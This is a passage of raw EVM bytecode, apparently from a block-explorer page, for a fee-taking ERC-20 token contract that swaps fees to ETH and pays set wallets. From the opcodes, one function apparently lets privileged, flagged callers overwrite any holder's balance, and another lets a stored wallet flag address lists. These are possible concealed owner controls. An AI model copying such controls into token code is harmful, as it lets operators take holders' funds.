336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b7bd0c4e209faf7f72ff05f6f296d1d649e2970549dcad363652bba06a8b41f764736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111f36111e27f000000000000000000000000000000000000000000000000000000000000dead611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565